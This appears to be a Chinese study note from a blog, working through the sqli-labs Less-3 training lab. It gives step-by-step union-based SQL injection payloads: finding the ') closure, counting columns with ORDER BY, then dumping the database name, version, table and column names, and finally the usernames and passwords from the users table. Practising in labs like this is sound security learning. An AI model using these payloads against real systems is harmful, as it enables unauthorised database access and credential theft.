sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
老衲提灯找美女10 分钟前
数据库事务
java·大数据·数据库
星幻元宇VR25 分钟前
VR动感科普单车:让交通安全教育更真实、更有效
科技·学习·安全·生活·vr
会飞的大可30 分钟前
Redis 竞品与替代方案选型可行性分析报告
数据库·redis·缓存
周杰伦的稻香36 分钟前
PostgreSQL基础命令
数据库·postgresql
先做个垃圾出来………1 小时前
JSON序列化问题
数据库·json
我科绝伦(Huanhuan Zhou)1 小时前
InnoDB Undo Log 深度解析:从原理到实现(基于 MySQL 8.0)
数据库·mysql
jackiehome1 小时前
SQL数据库无法操作,日志文件损坏修复
数据库·sql·oracle
荒川之神1 小时前
ORACLE导入导出实验
数据库·oracle
执笔为剑1 小时前
利用逻辑备份修复误操作的库
数据库·kingbase
程序员夏末2 小时前
【MySQL | 第三篇】 MySQL索引详解
数据库·mysql